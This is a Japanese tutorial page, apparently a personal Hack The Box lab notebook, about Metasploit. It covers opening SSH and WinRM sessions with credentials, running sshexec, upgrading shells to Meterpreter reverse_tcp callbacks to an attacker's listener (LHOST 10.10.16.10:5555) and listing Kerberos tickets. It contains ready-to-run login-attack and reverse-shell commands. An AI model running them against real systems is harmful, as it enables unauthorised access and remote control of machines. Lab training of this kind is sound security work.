SSH / WinRM ログイン
SSH / WinRM でセッションを作り、必要なときだけ Meterpreter へ昇格します。資格情報は Git 管理する .rc に保存せず、対話的に設定します。
SSH ログインでセッションを作る
Section titled “SSH ログインでセッションを作る”テンプレート rc/ssh_login.prompt.rc を読み、実行時に資格情報を渡します。
use auxiliary/scanner/ssh/ssh_loginset STOP_ON_SUCCESS trueset CreateSession trueshow optionsresource ~/lab/msf/rc/ssh_login.prompt.rc; run verbose=true rhosts=10.10.11.123 username=svc-user password=PASSWORD_HERE; sessions -l単一の正規資格情報を確認する用途ならこれで十分です。パスワード一覧を使って試行する場合は、HTB の許可範囲でも試行速度とアカウントロックの条件を確認します。
鍵認証の場合は KEY_FILE を使います。
run verbose=true rhosts=10.10.11.123 username=svc-user key_file=/path/to/id_rsa createsession=truesshexec で直接コマンド実行 / interact
Section titled “sshexec で直接コマンド実行 / interact”exploit/multi/ssh/sshexec は SSH 上でコマンドを実行し、ターゲットによっては対話セッションも開けます。先にターゲットを確認します。
use exploit/multi/ssh/sshexec; show targetsuse exploit/multi/ssh/sshexec; set TARGET <ssh_interact_target_id>; run verbose=true payload=generic/ssh/interact rhosts=10.10.11.123 username=svc-user password=PASSWORD_HERE; sessions -lWinRM ログインでセッションを作る
Section titled “WinRM ログインでセッションを作る”テンプレート rc/winrm_login.prompt.rc の内容です。
use auxiliary/scanner/winrm/winrm_loginset RPORT 5985set DOMAIN .set CreateSession trueshow optionsresource ~/lab/msf/rc/winrm_login.prompt.rc; run verbose=true rhosts=10.10.11.123 username=svc-user password=PASSWORD_HERE; sessions -l| 条件 | 設定 |
|---|---|
| ローカルアカウント | DOMAIN . |
| AD domain アカウント | DOMAIN を NetBIOS または FQDN 相当へ |
| HTTP WinRM | RPORT 5985、SSL false |
| HTTPS WinRM | RPORT 5986、SSL true |
Kerberos を使う WinRM は NTLM ログインと前提が違います。klist、SPN、時刻同期、名前解決を先に確認し、専用手順として分けます。
セッションの確認
Section titled “セッションの確認”sessions -lsessions -i 1シェルセッション上で作業が終わったら background または Ctrl-Z で戻ります。元のログインセッションは閉じずに残すと、昇格失敗時の復旧経路になります。
Meterpreter への昇格
Section titled “Meterpreter への昇格”SSH / WinRM ログインで作ったシェルセッションから、Meterpreter の reverse セッションを別に作ります。SSH / WinRM 接続そのものを Meterpreter 化するわけではありません。
最短は sessions -u です。内部では post/multi/manage/shell_to_meterpreter が動きます。
sessions -u 1sessions -lオプションを明示したい場合は post モジュールを直接使います。
run post/multi/manage/shell_to_meterpreter verbose=true session=1 lhost=10.10.16.10 lport=5555 handler=true; sessions -lLinux x64 で OS やアーキテクチャが誤検知される場合です。
run post/multi/manage/shell_to_meterpreter verbose=true session=1 lhost=10.10.16.10 lport=5555 payload_override=linux/x64/meterpreter/reverse_tcp platform_override=linux handler=trueWindows x64 の場合です。
run post/multi/manage/shell_to_meterpreter verbose=true session=1 lhost=10.10.16.10 lport=5555 payload_override=windows/x64/meterpreter/reverse_tcp platform_override=windows handler=true確認点です。
SESSIONは SSH / WinRM / シェルセッションの番号。- 対象から Kali の
LHOST:LPORTに戻れること。 - VPN の IP(例:
tun0)を指定していること。 - 元のセッションは閉じないこと。
失敗時の切り分けは トラブルシューティング を参照します。
チケット確認の入口
Section titled “チケット確認の入口”get_ticket の用途には、チケットの取得、一覧確認、注入、サービスチケットの要求があります。まずは Windows セッション上でチケットの有無を確認します。
sessions -i 1shellklist観察点です。
- 現在のログオンセッションに TGT があるか。
- 対象サービスの TGS がすでにキャッシュされているか。
Client/Server/ 有効期限 / 暗号方式。- DC と端末の時刻差、名前解決、接続先 SPN の整合性。
Kerberos の前提は Kerberos 認証 を参照します。

